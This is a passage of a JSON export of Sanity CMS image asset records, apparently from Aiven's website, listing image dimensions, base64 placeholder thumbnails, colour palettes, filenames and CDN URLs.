3a1c8-2000x937.png","sha1hash":"03d524073e3bd5a1548d778567ffbc840b13a1c8","size":328369,"title":"Integration metrics page for AWS CloudWatch","uploadId":"8ncX8zh5tGoDkpdEPSTIv67kchPJTo7K","url":"https://cdn.sanity.io/images/sczeoy4w/production/03d524073e3bd5a1548d778567ffbc840b13a1c8-2000x937.png"} {"_createdAt":"2022-06-30T20:10:53Z","_id":"image-063887a2878e3d4f7e29b958b180d59f5d90e6e4-2016x866-jpg","_rev":"CK1sLU2mnwa3vmbYWEeFyL","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:31Z","assetId":"063887a2878e3d4f7e29b958b180d59f5d90e6e4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MiDl2Sy3g3r|i^-akPbbjKe:RhRkn+bWkE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.327944572748268,"height":866,"width":2016},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAJABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFBv/EACUQAAEDAgQHAQAAAAAAAAAAAAEAAgMRIQQFBjQSEyMyQWFycf/EABYBAQEBAAAAAAAAAAAAAAAAAAQAA//EACARAAEDAwUBAAAAAAAAAAAAAAEAAgMEBRESExRBgZH/2gAMAwEAAhEDEQA/AJ7tSadMbYzhHxPc29DYHwsA/MZ4j0J3l5kIbwmtqpjVexwnysvhN1B+pdJcpqc7jMejKVDMYS7T2rU2aZnzHCOZ9BavtCRPe/6KFu69VRJOR8CuQ9f/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#412c5d","foreground":"#fff","population":4.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c06c8","foreground":"#fff","population":1.43,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6504ee","foreground":"#fff","population":5.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4d4","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aca4ec","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a49c54","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6504ee","foreground":"#fff","population":5.74,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"063887a2878e3d4f7e29b958b180d59f5d90e6e4-2016x866.jpg","path":"images/sczeoy4w/production/063887a2878e3d4f7e29b958b180d59f5d90e6e4-2016x866.jpg","sha1hash":"063887a2878e3d4f7e29b958b180d59f5d90e6e4","size":1341984,"uploadId":"RXcSxpLTfUkrFRihODXjpSnRnGbCwUrx","url":"https://cdn.sanity.io/images/sczeoy4w/production/063887a2878e3d4f7e29b958b180d59f5d90e6e4-2016x866.jpg"} {"_createdAt":"2024-05-20T10:21:38Z","_id":"image-0659d0d2d42166ee5e6338b6b027d6927117fe5c-2500x1308-jpg","_rev":"5dKvdU2b7V4fiIIxYxaFlA","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T10:21:38Z","assetId":"0659d0d2d42166ee5e6338b6b027d6927117fe5c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLQJp2%Lxu-:%L-qj[azt7j[~oIVM{RjM|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUCBAf/xAAjEAABAwMDBQEAAAAAAAAAAAABAgMEABESBQYhEyIxQVGR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgAE/8QAFxEBAQEBAAAAAAAAAAAAAAAAAREAAv/aAAwDAQACEQMRAD8A3vdM1+OIsaF1i+t5CipIuML83NRVuF0anISIrxhstFROByKwbWFNtL7kuFXJB91dxHwflaTokTCZRteZLm6at6alSXC6sJCk2ON+KKcWA8UUemt0b//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#445c81","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c349c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6069a5","foreground":"#fff","population":0.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceacb9","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8b95e5","foreground":"#000","population":0.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6069a5","foreground":"#fff","population":0.8,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#444ccc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-for-dragonfly-vs-aiven-for-caching-latency.jpg","path":"images/sczeoy4w/production/0659d0d2d42166ee5e6338b6b027d6927117fe5c-2500x1308.jpg","sha1hash":"0659d0d2d42166ee5e6338b6b027d6927117fe5c","size":157501,"uploadId":"3zFk09PjVvZSKGJwu7St6CtnrJPB1NNB","url":"https://cdn.sanity.io/images/sczeoy4w/production/0659d0d2d42166ee5e6338b6b027d6927117fe5c-2500x1308.jpg"} {"_createdAt":"2022-06-16T22:53:47Z","_id":"image-03feb450601bb82d2ee4e3b93824986171c6e1d5-118x34-svg","_rev":"qkpX9b3U0TpOGFQp8fNubG","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:47Z","assetId":"03feb450601bb82d2ee4e3b93824986171c6e1d5","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D92IVQaJZ}e,a#ZeZxk]emkZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.4705882352941178,"height":34,"width":118},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABDklEQVQYlU2QS0pDQRBFn4iCkxjNbX+8JIrGf1A0Ihr8jURx4BLcgvfpFtyA4E50cjJ1Ee5GKq8FB5fuvlWcW11F8/mraJlCpkivoyK9jIry7XP8zpqQmZaZ+ueF5mVWZZZlnmS+ZX6iUMosyLRkJDMrMyPTkGnKzMmsy6xlr5FhbZl9mU2ZR5l3mY8A3ssMso5kdmS6Mj2ZA5nDZIbJnGavlwN2Za5U+2f53g/gbS7+wUJjkMwwGpMZJNOX2cuTxoRxBmwrh3RkJgN4IrMis5H3EekBCl3KXKcaHqEBjXqsKPYX4UkVbVV0VdXAaF7KDYv5vJC5k3mQuZE5ljnP4fG9CAtve7z7ilIVnQD+ArRuqYBTmZN4AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#325268","foreground":"#fff","population":0.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043f7a","foreground":"#fff","population":0.7,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#043f7a","foreground":"#fff","population":0.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#034995","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7db9fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#476884","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#045cbc","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"match.svg","path":"images/sczeoy4w/production/03feb450601bb82d2ee4e3b93824986171c6e1d5-118x34.svg","sha1hash":"03feb450601bb82d2ee4e3b93824986171c6e1d5","size":7332,"uploadId":"7yamWlsJ6qbyUAxckZcg8pSI99P8Hrxz","url":"https://cdn.sanity.io/images/sczeoy4w/production/03feb450601bb82d2ee4e3b93824986171c6e1d5-118x34.svg"} {"_createdAt":"2024-02-06T08:33:35Z","_id":"image-00142d6cf778cf3f7dfc956af2016a52d5d70e49-5879x3919-jpg","_rev":"8mGThtWzkZE49nEaO9t9u0","_type":"sanity.imageAsset","_updatedAt":"2024-02-06T08:33:35Z","assetId":"00142d6cf778cf3f7dfc956af2016a52d5d70e49","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V48|0Kb~R:EI9s17JF$*nMjB0iN}$*j=^2}ts8JASjR=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5001275835672365,"height":3919,"width":5879},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIEBQf/xAAeEAADAAICAwEAAAAAAAAAAAABAgMAEQQFEiExUf/EABUBAQEAAAAAAAAAAAAAAAAAAAME/8QAHBEAAgICAwAAAAAAAAAAAAAAAQIAAyExERJB/9oADAMBAAIRAxEAPwDhvA69m6x2rOZaRK/fZyWfSlOUkWPnSmtKM0o8s8a1JSUCTHfiTvEt2lq8itCFDD2CB81hvezbOpStKDUm2/ELRnKbBTok/uGMnIS/lWsVLsdkg6ww+1fvMUVOcg4n/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a4031","foreground":"#fff","population":1.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#091892","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ac705a","foreground":"#fff","population":4.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfa9c9","foreground":"#000","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c98ed","foreground":"#fff","population":0.24,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac705a","foreground":"#fff","population":4.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#356ce6","foreground":"#fff","population":0.35,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"AIVEN4335.jpg","path":"images/sczeoy4w/production/00142d6cf778cf3f7dfc956af2016a52d5d70e49-5879x3919.jpg","sha1hash":"00142d6cf778cf3f7dfc956af2016a52d5d70e49","size":21492600,"uploadId":"TAVhvsIxQKI6CSlCgw50C3WEAzB8S1wa","url":"https://cdn.sanity.io/images/sczeoy4w/production/00142d6cf778cf3f7dfc956af2016a52d5d70e49-5879x3919.jpg"} {"_createdAt":"2023-05-16T08:18:55Z","_id":"image-003b813b4311f2eb80e5fd691b5ca9ce3caf7c20-1440x640-webp","_rev":"THDGXgbtbTWNUZ8wxjxylP","_type":"sanity.imageAsset","_updatedAt":"2023-05-16T08:18:55Z","assetId":"003b813b4311f2eb80e5fd691b5ca9ce3caf7c20","extension":"webp","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.25,"height":640,"width":1440},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAJABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAIECP/EACAQAAICAgAHAAAAAAAAAAAAAAECAAMREgQFISIyM3H/xAAUAQEAAAAAAAAAAAAAAAAAAAAC/8QAGREAAgMBAAAAAAAAAAAAAAAAAAECETES/9oADAMBAAIRAxEAPwDppOXJTw9tVexR2LEE9cy1XUobFICDtOZskW+MDhGsF3J6wlm6hlU4MRT6l+REnaCf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#565348","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e4b05","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e0dcc6","foreground":"#000","population":1.92,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e0dcc6","foreground":"#000","population":1.92,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edcd8e","foreground":"#000","population":1.26,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab8158","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f59c24","foreground":"#000","population":0.04,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"secret-scanning-flow.webp","path":"images/sczeoy4w/production/003b813b4311f2eb80e5fd691b5ca9ce3caf7c20-1440x640.webp","sha1hash":"003b813b4311f2eb80e5fd691b5ca9ce3caf7c20","size":17876,"uploadId":"Y8MXqukR9eBxt1rBplSekoDIEiMJR0cl","url":"https://cdn.sanity.io/images/sczeoy4w/production/003b813b4311f2eb80e5fd691b5ca9ce3caf7c20-1440x640.webp"} {"_createdAt":"2023-07-19T09:30:43Z","_id":"image-004879f0f423e570202e4ae3d71c104974f43b3f-240x240-webp","_rev":"AtrwQtGBHkMc57FAUb9kVu","_type":"sanity.imageAsset","_updatedAt":"2023-07-19T09:46:28Z","altText":"Viktor Trykolenko","assetId":"004879f0f423e570202e4ae3d71c104974f43b3f","description":null,"extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKLqqdxZ%zg3-S~NR*bxxu9GJ;tRH?Mx.8s+WBozkDoIxtj]RkjYM|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":240,"width":240},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAMEBQYH/8QAIhAAAgEDAwUBAAAAAAAAAAAAAgMBAAQRBQYhBxIyQVEx/8QAGQEAAgMBAAAAAAAAAAAAAAAABAUAAQID/8QAHREBAAICAgMAAAAAAAAAAAAAAQACAzIREiExcf/aAAwDAQACEQMRAD8A9gvGhZ2bbluexY5mI/apaLqa9WWciliTHntP3H2q+5tXtrdBaeYG25uQmAAY9+s1i7fv2bdCF64iVk7wIeeI+1zMd2wB7ljToq+SdgSuaVMkwuFA1JQSzjMTSp1mOZyKoi46mqBsQQqTkY+TUfVicNssY8CpSm2HWvyBZNma+xmme27aSnOMxFKUpfl3YVTUn//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4443","foreground":"#fff","population":4.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a3b59","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c7598","foreground":"#fff","population":10.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5bbd2","foreground":"#000","population":0.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c7e3f9","foreground":"#000","population":6.37,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c7598","foreground":"#fff","population":10.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#728cbc","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/webp","opt":{"media":{"tags":null}},"originalFilename":"viktor.webp","path":"images/sczeoy4w/production/004879f0f423e570202e4ae3d71c104974f43b3f-240x240.webp","sha1hash":"004879f0f423e570202e4ae3d71c104974f43b3f","size":8304,"title":null,"uploadId":"HUBpLbQU0LwOqkMZPm79aS1ZI4gx95SN","url":"https://cdn.sanity.io/images/sczeoy4w/production/004879f0f423e570202e4ae3d71c104974f43b3f-240x240.webp"} {"_createdAt":"2023-08-15T12:19:04Z","_id":"image-0069c4508662bc57e69595f317226cd5629871e8-863x167-png","_rev":"B2qRym1lObpfgwjNwXEzxh","_type":"sanity.imageAsset","_updatedAt":"2023-08-15T12:19:04Z","assetId":"0069c4508662bc57e69595f317226cd5629871e8","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.167664670658683,"height":167,"width":863},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJElEQVQYlRWMQUvDMBhAd3eDrTJ38bKkVNtk/dKFpWmp4tYvtGsyNxQERRlenO6iiB78JV79G978adLDu7wHrxOq5pCldsQz14/zy64o1gNRrL04Xx1EqumFajk8nS29QFa9QFZdNjXesazHt75Mfgejxd/gSO386bCvVt0oMV4nUo1iqZUstXySuXCSraCFaxdFqoETWS/8xGyowDUFvKICb4jARzaZP9Wn2bYM8/swXlyPBW4IlA/t8IKlNmOpzbl2Z1y7gms349qqtgWyuqPCfBDAdwL4SQDfCOCeQvnqQ/lCoXwmUO4p4BeJy+8OS23EtPW5doJrN+faJUzbcesi1fBAVrWfmC0VaKlAQwWeU4FTKoymwhQEMKOABRVmRwB//gFqrEblYVg6awAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35425b","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f0708","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#35425b","foreground":"#fff","population":0.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#920b06","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f98480","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#444858","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4140c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-digitalparking.png","path":"images/sczeoy4w/production/0069c4508662bc57e69595f317226cd5629871e8-863x167.png","sha1hash":"0069c4508662bc57e69595f317226cd5629871e8","size":12317,"uploadId":"86Mirew4eZSUfOeh9fqARkGooGGNu9l3","url":"https://cdn.sanity.io/images/sczeoy4w/production/0069c4508662bc57e69595f317226cd5629871e8-863x167.png"} {"_createdAt":"2024-01-03T18:53:22Z","_id":"image-0079764c975a2ee0d5fdf50804e53a890624e52c-5800x3867-jpg","_rev":"cYm7NAkc6EQoa8jfA6dvcP","_type":"sanity.imageAsset","_updatedAt":"2024-01-03T18:53:22Z","assetId":"0079764c975a2ee0d5fdf50804e53a890624e52c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VeJbKw_4XT%#4T_NxuM{kDRiIUNGRPaet7x]kCofxuR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.499870700801655,"height":3867,"width":5800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHBv/EACIQAAEEAgEFAQEAAAAAAAAAAAECAwQFAAYSBxETQVExof/EABYBAQEBAAAAAAAAAAAAAAAAAAIBA//EABgRAAMBAQAAAAAAAAAAAAAAAAABEQIS/9oADAMBAAIRAxEAPwC9rkxa+MkvHiHDxCvh7ZOunewLVs1xVedb8Vai40Vnvx+gZFLbrfd3Fa5ClwYfiX7SSCk/Qcz+lb5Ya1bOzYrTby3Gyni6SQnv7x7T7Tpnhrh5gs3ZQTttsPklY/uGIruwdsbaXMdAS4+4VqA/AThkgaf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443428","foreground":"#fff","population":1.85,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04131c","foreground":"#fff","population":5.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04131c","foreground":"#fff","population":5.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adbfce","foreground":"#000","population":3.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dfb899","foreground":"#000","population":2.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a38266","foreground":"#fff","population":1.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f97df","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"DSC06950.jpg","path":"images/sczeoy4w/production/0079764c975a2ee0d5fdf50804e53a890624e52c-5800x3867.jpg","sha1hash":"0079764c975a2ee0d5fdf50804e53a890624e52c","size":9575758,"uploadId":"aZzvGrnHusnmj4V1OaxmqfLeXQdjmzyL","url":"https://cdn.sanity.io/images/sczeoy4w/production/0079764c975a2ee0d5fdf50804e53a890624e52c-5800x3867.jpg"} {"_createdAt":"2023-11-09T11:38:09Z","_id":"image-045a703a1449d0e16cbf0c2799d3fa089cfd90a1-1200x1200-jpg","_rev":"Egc6c95a4S13BHFMP0SEEY","_type":"sanity.imageAsset","_updatedAt":"2023-11-09T11:38:09Z","assetId":"045a703a1449d0e16cbf0c2799d3fa089cfd90a1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEI}*OX1aO?bt4kRTfw]IoM|00D%n$tRs:W9tRE1xaM{~q%MIVxuR+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQGBwIF/8QAIxAAAQQCAgICAwAAAAAAAAAAAQACAwQFEQYhEjEHExRBUf/EABcBAQADAAAAAAAAAAAAAAAAAAMABAX/xAAeEQACAQQDAQAAAAAAAAAAAAAAAQIDBBExMkGx0f/aAAwDAQACEQMRAD8AlTYLmrO7JruZ/WykLuKrzGPba8RlYPZEn6VyyHOsRUxzrVsyMgHtzozoFTKvIKt3Fut1NeGvYGtpMwk9e/Q1Ta7M6yHxDj8xP+dfldXsytBfG3XRRW9uQdMBJ5EeXekUVrFLAruZN5aMl+QMNDTqlkVi2WO8dtfLse1fMcwUeEVWwEgfWT332iILXkha+mepjYmuowk734hERaRRP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#73523b","foreground":"#fff","population":7.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e3a74","foreground":"#fff","population":4.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#73523b","foreground":"#fff","population":7.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfbdb1","foreground":"#000","population":1.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92bbe4","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a2866d","foreground":"#fff","population":6.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3268a3","foreground":"#fff","population":1.31,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"idealo-unternehmen-ueber-idealo-2022.jpg","path":"images/sczeoy4w/production/045a703a1449d0e16cbf0c2799d3fa089cfd90a1-1200x1200.jpg","sha1hash":"045a703a1449d0e16cbf0c2799d3fa089cfd90a1","size":129846,"uploadId":"7K10Pl6xA1XLBRx81llvPTB3ejAraltm","url":"https://cdn.sanity.io/images/sczeoy4w/production/045a703a1449d0e16cbf0c2799d3fa089cfd90a1-1200x1200.jpg"} {"_createdAt":"2022-06-30T19:57:05Z","_id":"image-04a0e669695e1f656ee560d247949f44f703d9bf-750x246-png","_rev":"QRl2cGoCgj0FlAhkRrhdAL","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:25Z","assetId":"04a0e669695e1f656ee560d247949f44f703d9bf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D05X+7%#wc%hxD%Maex]%2M{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.048780487804878,"height":246,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABCUlEQVQYlV2RS4rEMAxEc4peDHFsfW3Hkj/pRd//ZkPSi4EphBaFoHilDQnde1bd9/2IfwphT8ehDEWQMEFKIYT9VgDAI8bX67VlUWumLEcIKUZCFGYEiMcBMQqhMhHC12dmTIkAIaX952fr5v1JZkRCzCLerOYswsIsxCoiRELc3a91tVqVqTAypK33Psaw1qy1knNRHY/Tx3D3dp7fnUXmGJ/PZ63VW32beuHNzOajMcZZa1bt3q+1rut9Xe855lrLzZT5rHXO2d39LKtpy7ydtY47qLtZ1qws7WzdffQ+x7hPzWopBEAAQnTTQWJIlOL25bzB7jIAU2IiZVbmrKJ8kxMiPA/4N79iNz7xXtTQcAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c4c3c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#652604","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c3c4","foreground":"#000","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c3c4","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4945c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b4845c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#984004","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"04a0e669695e1f656ee560d247949f44f703d9bf-750x246.png","path":"images/sczeoy4w/production/04a0e669695e1f656ee560d247949f44f703d9bf-750x246.png","sha1hash":"04a0e669695e1f656ee560d247949f44f703d9bf","size":18968,"uploadId":"YxmfaZ2vbKUi4a2CeKstCBfpJovIt9Wq","url":"https://cdn.sanity.io/images/sczeoy4w/production/04a0e669695e1f656ee560d247949f44f703d9bf-750x246.png"} 